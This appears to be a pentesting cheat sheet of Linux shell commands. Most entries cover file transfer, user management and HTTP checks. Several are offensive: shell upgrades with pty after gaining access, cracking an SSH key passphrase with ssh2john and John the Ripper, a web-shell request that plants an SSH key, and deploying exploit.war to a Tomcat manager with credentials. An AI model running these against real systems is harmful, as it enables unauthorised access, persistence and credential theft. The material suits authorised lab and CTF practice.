Practical commands for shell interaction, file transfer, user management, auditing, searching help, credential cracking helpers, SSH key usage, IDs, and HTTP actions (curl/wget). Includes corrected syntax and a few essential additions.
-
Spawns a fully interactive TTY-like bash shell (better job control, tab completion, and stable interaction after getting a basic shell).
python -c "import pty; pty.spawn('/bin/bash')"
-
Reads URLs from
wget -i url.txt -o /dev/null
url.txtand fetches them; logs to/dev/null(silent logging).
Common useful variants:wget -i url.txt -O /dev/null # discard downloaded bodies wget -S -O /dev/null URL # show response headers
-
Connects to a Windows RDP service on the target IP (older RDP client).
rdesktop <ip>
Common options:rdesktop -u USER -p PASS <ip> rdesktop -g 1280x720 <ip>
-
scp /tmp/file user@x.x.x.x:/tmp/file
Uploads
/tmp/fileto the remote host into/tmp/file. -
scp user@remoteip:/tmp/file /tmp/file
Downloads
/tmp/filefrom the remote host into local/tmp/file.
Useful options:
scp -P 2222 file user@host:/path # non-default SSH port
scp -r dir user@host:/path # recursive copy-
useradd -m user
Creates a new user named
userand creates a home directory (-m). -
passwd user
Sets or changes the password for user
user. -
userdel -r username
Deletes the user account;
-rremoves the home directory and mail spool.
(rmuseris not standard on most Linux;userdelis the common command.)
-
Records the terminal session to
script -a outfile
outfile;-aappends.
Exit/stop recording withCtrl-Dorexit.
-
Searches man page descriptions for keywords related to
apropos subject
subject.
-
historyDisplays command history for the current shell.
-
!numExecutes the history entry with number
num(example:!42reruns command #42).
-
ssh2john.py id_rsa > ssh-keyConverts an SSH private key (
id_rsa) into a hash format that John the Ripper can process; writes tossh-key. -
john ssh-key
Attempts to crack the passphrase/hash stored in
ssh-key. -
ssh -i id_rsa user@ip
Connects to
ipusing the specified private key; will prompt for the key passphrase if encrypted.
-
id -u
Prints the numeric UID of the current user.
-
getent group GROUPNAME | cut -d: -f3Prints the numeric GID for
GROUPNAME.
(The version with process substitution works too, but this is simpler and portable.)
-
Sends a GET request where the
curl -G 'http://example.com/file.php' --data-urlencode 'cmd=echo ssh-rsa AA...........'
cmdparameter is URL-encoded safely.-Gtells curl to put the data on the query string.
-
Uses HTTP Basic Auth to upload a file via HTTP PUT to the given URL (commonly used with Tomcat Manager endpoints when permitted).
curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file exploit.war "http://megahosting.com:8080/manager/text/deploy?path=/exploit.war"
-
python3 -c "import pty; pty.spawn('/bin/bash')"python command but for python3.
-
stty -a stty rows 40 cols 120
View/fix terminal dimensions when shells behave oddly.
-
rsync -avP file user@host:/tmp/
Efficient copy with progress and resume-like behavior.
-
sftp user@host
Interactive file transfer over SSH.
-
curl -I http://example.com
Fetches only headers (quick status check).
-
curl -sS -o /dev/null -w "%{http_code}\n" http://example.comReturns only HTTP status code.
-
which python python3 wget curl scp ssh
Confirms tool availability and paths.
-
ss -tulpn
See listeners and owning processes (useful before/after starting a server or tunnel).